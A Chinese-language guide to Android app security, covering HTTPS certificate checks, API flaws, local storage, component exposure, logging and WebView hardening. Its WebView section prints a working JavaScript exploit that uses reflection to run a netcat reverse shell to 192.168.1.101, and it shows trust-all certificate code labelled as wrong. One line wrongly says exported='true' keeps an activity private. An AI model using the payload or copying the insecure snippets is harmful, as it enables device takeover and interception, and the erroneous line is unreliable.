# App資訊保安
隨著移動網際網路的發展,各大傳統保險公司和銀行金融公司都開發了自己的App,那麼App的資訊保安就變得非常重要了。如果App的安全級別不夠那麼會發生隱私洩露,更重要的會產生財產損失。下面我將從下面五點來考慮app的資訊保安。
一、網路傳輸安全
分為三種方式:
1. 自定義Socket通訊
需要自定義資料加密方式,選擇加密演算法,選擇祕鑰管理模式等等,在實現細節上需要考慮加密演算法的實現機制、加密效能、祕鑰的安全管理等。
2. Http通訊
- 資料傳輸是明文的,直接可以採用Charles等工具攔截資料。
- http如果連線域名,可以通過DNS欺騙的方式將使用者引入釣魚網站。
3. Https通訊
https客戶端需要驗證伺服器下發證書的有效性。如果客戶端忽略驗證,就存在被中間人攻擊的可能,
1. 使用WebView進行Https通訊
1. 使用可信任機構頒發的證書
Android內建了一些可信任機構頒發的證書,可用於Https證書校驗。WebView對可信任證書進行校驗也是系統預設去做的。繼承WebViewClient類重寫如下方法:
public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) { super.onReceivedSslError(view, handler, error); //如下是錯誤的程式碼,相當於忽略證書校驗 //handler.proceed(); //帶有可信任機構頒發證書的Https站點這個方法中無需做任何操作。 }
2. 自簽名證書
自簽名的證書WebView載入網頁會報錯我們需要覆蓋onReceivedSslError方法進行自簽名證書的校驗,點選這裡檢視
2. 使用HttpClient或HttpsURLConnection進行Https通訊
對於僅需要獲取Https站點返回資料,通常用HttpClient和HttpsURLConnection通訊,證書校驗有兩個重要的類:X509TrustManager和HostnameVerifier,前者用於證書校驗,後者用於域名校驗。
1.X509TrustManager
1. 信任所有證書
如果信任所有證書,那麼https將失去作用,攻擊者可以使用自簽名證書,來進行中間人攻擊,拿到通訊的資料。也可以結合DNS欺騙,是使用者訪問惡意網站,造成資訊洩露。
如下錯誤的例子:
private static class TrustAllCAManager implements X509TrustManager { @Override public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { //不做任何校驗 } @Override public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { //不做任何校驗 } @Override public X509Certificate[] getAcceptedIssuers() { //不做任何校驗 return new X509Certificate[0]; } }
2. 信任可信機構頒發的Https證書
開發者無需實現X509TrustManager介面,Android可以使用系統自帶的證書校驗機制,如下程式碼:
SSLContext sslContext = SSLContext.getInstance("TLS"); sslContext.init(null, null, new SecureRandom()); HttpsURLConnection.setDefaultSSLSocketFactory(sslContext.getSocketFactory()); //上面程式碼都是預設程式碼,可信任機構頒發的CA證書可以不用寫上面程式碼直接用如下程式碼進行網路請求,Android系統會自動校驗 HttpsURLConnection httpsURLConnection = (HttpsURLConnection) new URL("url").openConnection();
3. 信任自簽名Https證書
如果是自簽名的證書,那麼只能手動實現X509TrustManager介面來信任證書,如下程式碼:
public static KeyStore getKeyStore() { //多個證書,有的時候因為證書過期需要客戶端適配 String[] certs = new String[]{CERT, CERT1, CERT2}; try { String keyStoreType = KeyStore.getDefaultType(); KeyStore keyStore = KeyStore.getInstance(keyStoreType); keyStore.load(null, null); for (int i = 0; i < certs.length; i++) { InputStream inputStream = new ByteArrayInputStream(certs[i].getBytes("UTF-8")); CertificateFactory cf = CertificateFactory.getInstance("X.509"); Certificate ca = null; try { ca = cf.generateCertificate(inputStream); //System.out.println("ca=" + ((X509Certificate) ca).getSubjectDN()); } catch (Exception e) { e.printStackTrace(); } finally { inputStream.close(); } if (null != ca) { keyStore.setCertificateEntry("ca" + i, ca); } } return keyStore; } catch (Exception e) { e.printStackTrace(); } return null; } public static void trustCertificate(HttpsURLConnection httpsURLConnection) { try { KeyStore keyStore = getKeyStore(); String tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm(); TrustManagerFactory tmf = TrustManagerFactory.getInstance(tmfAlgorithm); tmf.init(keyStore); final SSLContext sslContext = SSLContext.getInstance("TLS"); sslContext.init(null, tmf.getTrustManagers(), null); } catch (Exception e) { e.printStackTrace(); } }
1.HostnameVerifier
用於實現Https通訊中域名安全校驗,驗證當前連結的Https的站點和SSL證書中的域名是否相等。
錯誤程式碼:
client.setHostnameVerifier(new HostnameVerifier() { @Override public boolean verify(String hostname, SSLSession sslSession) { //不做任何驗證直接返回true return true; } }); //使用自帶不安全的HostnameVerifier,如下程式碼httpsURLConnection.setHostnameVerifier(org.apache.http.conn.ssl.SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
正確程式碼:
request.setHostnameVerifier(new HostnameVerifier() { @Override public boolean verify(String hostname, SSLSession session) { // TODO Auto-generated method stub try { String peerHost = session.getPeerHost(); //伺服器返回的主機名 String str_new = ""; X509Certificate[] peerCertificates = (X509Certificate[]) session .getPeerCertificates(); for (X509Certificate certificate : peerCertificates) { X500Principal subjectX500Principal = certificate .getSubjectX500Principal(); String name = subjectX500Principal.getName(); String[] split = name.split(","); for (String str : split) { if (str.startsWith("CN")) {//證書繫結的域名或者ip if (peerHost.equals(hostname)&&str.contains("客戶端預埋的證書cn欄位域名")) { return true; } } } } } catch (SSLPeerUnverifiedException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } return false; } }); //使用自帶的安全的HostnameVerifier httpsURLConnection.setHostnameVerifier(org.apache.http.conn.ssl.SSLSocketFactory.STRICT_HOSTNAME_VERIFIER);
3. 介面漏洞
- 假如使用者User在某電商App上的訂單詳情為http://www.xxxx.com/orderdetail?orderid=123 , 如果介面沒有對登入資訊做驗證(登入Token),只憑借一個orderid獲取資料,那麼攻擊者就可以從orderid=0開始一直遍歷到9999,那麼將會造成大量的訂單資訊洩露。
- 假如增加積分介面沒有進行校驗,那麼我抓到一個增加積分的介面,偷換裡面的userid,那麼很多沒有完成任務的使用者都被加上積分了,造成公司的損失。
- 如果驗證碼沒有次數控制,也沒有識別是人操作還是機器操作,那麼極容易形成簡訊轟炸。
登入流程:
- 不允許在app本地儲存使用者名稱和密碼
- 登入驗證通過後伺服器下發token,客戶端使用token進行身份驗證
- token應該儲存在app的內部儲存空間中,不允許其他app訪問。
- 登入介面要增加驗證碼且控制簡訊下發次數。
二、本地快取安全
1. 敏感資訊
敏感資訊洩漏有可能會危害到使用者的財產損失和隱私洩漏,敏感資訊大概有如下幾個方面:
使用者資訊:姓名,身份證,生日,手機號,銀行卡號,持卡人,有效期,驗證碼(CAV2/CVV2/CVC2/CID),卡號後四位
訂單資訊:訂單列表,訂單詳情,收件人資訊,被保險人資訊
卡券資訊:各種優惠卡,打折卡,禮品卡
日誌資訊:登入、行為、token等私有日誌
- 不允許將密碼、卡券資訊、支付相關資訊儲存在本地
- 理論上是不允許敏感資訊儲存在本地的,但是由於有些資訊使用非常頻繁,如果確定要儲存在本地那麼只能儲存到私有儲存空間裡,並且使用AES256加密演算法進行加密。
- app端顯示敏感資訊,請將敏感資訊部分脫敏,常用的就是加*遮蔽處理。
2. 外部儲存(external storage)
敏感資訊不允許儲存在外部儲存。外部儲存分三種形式:
- Environment.getExternalStorageDirectory().getAbsoluteFile()+ File.separator +"CustomDir" + File.separator + "CustomFileName";用這種方式儲存資料,不會被應用詳情中的”清除資料“和”清除快取“刪除。App解除安裝也不會被Android系統自動刪除。
- mContext.getExternalFilesDir(null).getAbsoluteFile()+ File.separator +"CustomDir" + File.separator + "CustomFileName";這種方式儲存資料,會被”清除資料“所刪除,App解除安裝也會被Android系統自動刪除。路徑為/Sdcard/Android/data/<package>/files/<customfile>
- mContext.getExternalCacheDir().getAbsoluteFile()+ File.separator +"CustomDir" + File.separator + "CustomFileName";這種方式儲存資料,會被”清除快取“所刪除,App解除安裝也會被Android系統自動刪除。路徑為/Sdcard/Android/data/<package>/cache/<customfile>
3. 內部儲存(internal storage)
內部儲存路徑/data/data/<package>。通過context.getFilesDir()或context.getCacheDir()獲取路徑data/data/<package>/files或data/data/<package>/cache
- 儲存包含敏感資訊的檔案必須使用內部儲存
- 儲存模式必須設定MODE_PRIVATE
- 敏感資訊必須加密且加密演算法符合安全規範
4. 本地資料庫
- 資料庫儲存在內部儲存中,並設定MODE_PRIVATE
- 如果要對其他app提供資料使用contentprovider
- SQL語句避免採用拼接引數的方式,採用引數化的方式ContentValues繫結引數
5. 圖片儲存
1.儲存圖片中包含使用者敏感資訊,應該是使用者主動出發,並且提示使用者”圖片包含敏感資訊,使用完請刪除“
2.儲存路徑應該是系統相簿的目錄
三、原始碼安全
1. Activity
activity如果使用不當會導致一些安全問題,例如:android:exported="true"的Activity如果返回了敏感資訊,攻擊者就會輕鬆的吊起這個public activity來獲取隱私,或者攻擊者會給這個public activity傳遞髒資料,導致app崩潰。
activity分四個等級許可權由高到底
1. 內部使用(private)
僅僅適用於app內部使用,外部app無法呼叫;將android:exported="true"設定成true這樣外部app就無法呼叫
2. 簽名相同(in-house)
1.定義許可權如下程式碼,呼叫activity必須符合如下許可權
<permission android:name="com.xxx.xxx.XXX" android:protectionLevel="signature"/>
2.宣告activity如下程式碼,必須保證外部app可以呼叫android:exported=true,必須保證外部app呼叫時需要申請許可權android:permission="com.xxx.xxx.XXX"
<activity android:name=".AActivity" android:exported="true" android:permission="com.xxx.xxx.XXX"/>
3.其他app呼叫這個Activity如下程式碼
//AndroidManifest.xml申請許可權 <uses-permission android:name="com.xxx.xxx.XXX"/> //Activity校驗被呼叫的activity簽名是否一致 //如果一致呼叫Activity同時傳遞引數使用putExtra方式傳遞 if(checkSignSha1()){ //簽名相同,跳轉到Activity //putExtra方式傳遞 }else{ //簽名不相同 } private boolean checkSignSha1(){ String curSha1 = getSignSha1(this.getPackageName()); String partnerSha1 = getSignSha1("partner package"); return curSha1.equals(partnerSha1); } /** * 開始獲得簽名 * * @param packageName 報名 * @return */ private String getSignSha1(String packageName) { Signature[] arrayOfSignature = getRawSignature(this, packageName); if ((arrayOfSignature == null) || (arrayOfSignature.length == 0)) { //errout("signs is null"); return null; } return getMessageDigest(arrayOfSignature[0].toByteArray()); } private Signature[] getRawSignature(Context paramContext, String paramString) { if ((paramString == null) || (paramString.length() == 0)) { //errout("獲取簽名失敗,包名為 null"); return null; } PackageManager localPackageManager = paramContext.getPackageManager(); PackageInfo localPackageInfo; try { localPackageInfo = localPackageManager.getPackageInfo(paramString, PackageManager.GET_SIGNATURES); if (localPackageInfo == null) { //errout("資訊為 null, 包名 = " + paramString); return null; } } catch (PackageManager.NameNotFoundException localNameNotFoundException) { //errout("包名沒有找到..."); return null; } return localPackageInfo.signatures; } public static final String getMessageDigest(byte[] cert) { MessageDigest md = null; try { md = MessageDigest.getInstance("SHA1"); byte[] publicKey = md.digest(cert); StringBuffer hexString = new StringBuffer(); for (int i = 0; i < publicKey.length; i++) { String appendString = Integer.toHexString(0xFF & publicKey[i]) .toUpperCase(Locale.US); if (appendString.length() == 1) hexString.append("0"); hexString.append(appendString); hexString.append(":"); } String result = hexString.toString(); return result.substring(0, result.length() - 1); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } return null; }
3. 合作伙伴(partner)
該Activity只能被合作伙伴呼叫,我們在Activity.onCreate增加白名單機制,如果不符合白名單無法進入頁面。
1.android:exported=true
2.activity.oncreate 白名單校驗
4. 公開使用(public)
可以被任何app訪問,要小心控制輸入進來的資料:
1.android:exported=true
2.謹慎控制收到的Intent資料,不應該根據Intent中的資料來判斷後續的流程
3.不要返回敏感資訊
2. Service
1. 內部Service(private)
1.android:exported=false
2.如果是推送訊息最好使用內部Service,防止惡意軟體停掉推送
2. 外部Service(public)
1.android:exported=true
2.通過Intent傳遞敏感資訊需要加密傳輸
3. ContentProvider
對contentprovider的使用也是需要注意的;敏感資訊儲存在 私有的contentprovider,否則會造成隱私洩露。
4. 日誌
1.Release版本不允許想LogCat中輸出任何日誌
2.Debug版本App列印資訊只允許android.util.Log中的方法,不允許使用System.out和System.err相關方法列印
3.Debug如果要列印敏感資訊需要加密
4.在匯出Release中使用Proguard的配置檔案來去掉Log
-assumenosideeffects class android.util.Log { public static boolean isLoggable(java.lang.String, int); public static int v(...); public static int i(...); public static int w(...); public static int d(...); public static int e(...); }
四、WebView安全
1. JavascriptInterface導致遠端程式碼漏洞
漏洞發生條件:
1.Android <=4.1.2 (API 16)
2.webview 開啟JavascriptInterface
3.WebView載入惡意Url頁面
假如:惡意網站載入包含如下js程式碼的url頁面,在Javascript程式碼中,利用Java反射機制,通過interfaceObject獲取當前Runtime物件引用,並呼叫其exec方法執行nc命令連線伺服器8088及8089埠。
這只是其中攻擊手段之一,還可以給指定號碼傳送簡訊等其他攻擊手段
<script type="text/javascript"> function check() { for (var obj in window) { try { if ("getClass" in window[obj]) { try{ ret= interfaceObject.getClass().forName("java.lang.Runtime").getMethod('getRuntime',null).invoke(null,null).exec(['/system/bin/sh','-c','nc 192.168.1.101 8088|/system/bin/sh|nc 192.168.1.101 8089']); }catch(e){ } } } catch(e) { } } } check(); </script>
如果必須開啟JavascriptInterface,那麼需要保證載入的url是安全的在每個native java程式碼中進行安全校驗
2. WebView載入內部資源
1.apk內部資原始檔
2.apk中公司信任的URL
安全規範:
1.不要載入除頁面資源以外的檔案,setAllowFileAccess(false)
對於需要使用 file 協議的應用,禁止 file 協議載入 JavaScript
setAllowFileAccess(true); // 禁止 file 協議載入 JavaScript if (url.startsWith("file://") { setJavaScriptEnabled(false); } else { setJavaScriptEnabled(true); }
2.載入URL的時候使用Https協議
3.在WebViewClient.shouldOverrideUrlLoading中校驗url是否是白名單
@Override public boolean shouldOverrideUrlLoading(WebView view, String url) { if(isWhiteList()){ view.loadUrl(url); }else{ //錯誤處理 } return true; }
3.WebView載入外部資源
1.apk外部檔案
2.非信任的url
3.使用者指定的資源
安全規範:
1.沒有明確需求不要開啟Javascript支援(addJavascriptInterface),如果必須開啟那麼需要保證載入的url是安全的在每個native java程式碼中進行安全校驗;
2.對於3.0版本只有的WebView預設內建了一些JavascriptInterface,分別是searchBoxJavaBridge_、accessibility、accessibilityTraversal,對於載入外部資源應該呼叫removeJavascriptInterface()方法刪除內建的三個JavascriptInterface物件
3.不要開啟瀏覽器外掛支援setPluginState(WebSettings.PluginState.OFF);
4.不要開啟本地檔案訪問setAllowFileAccess(false)
五、編譯級別安全
1.Release版本中android:allowBackup="false"
2.Release版本中android:debuggable="false"
3.對程式碼進行混淆
4.對app進行加固例如:愛加密、360加固保等第三方工具
六、互動層面的安全
1.單點,或者多點登入,不允許一個手機號無限制的登入
2.敏感資訊頁面使用者切換到後臺,後臺任務列表中應該是空白,不應該保留當前頁面的快照
3.敏感資訊頁面展示脫敏
4.登入手勢驗證,隔一段時間如果要進入敏感頁面需要彈出手勢驗證,如果不設定手勢最嚴格的控制需要簡訊驗證碼驗證
5.輸入法,因為輸入法是第三方app,說以非常容易造成資訊洩露的,身份資訊,賬號密碼都是由輸入法輸入的,輸入法在系統層面時刻保持存活,可以採取自定義安全鍵盤,讓app使用自己的鍵盤並且每次彈出輸入法,或者App重新啟動安全鍵盤的字母順序都會改變等策略。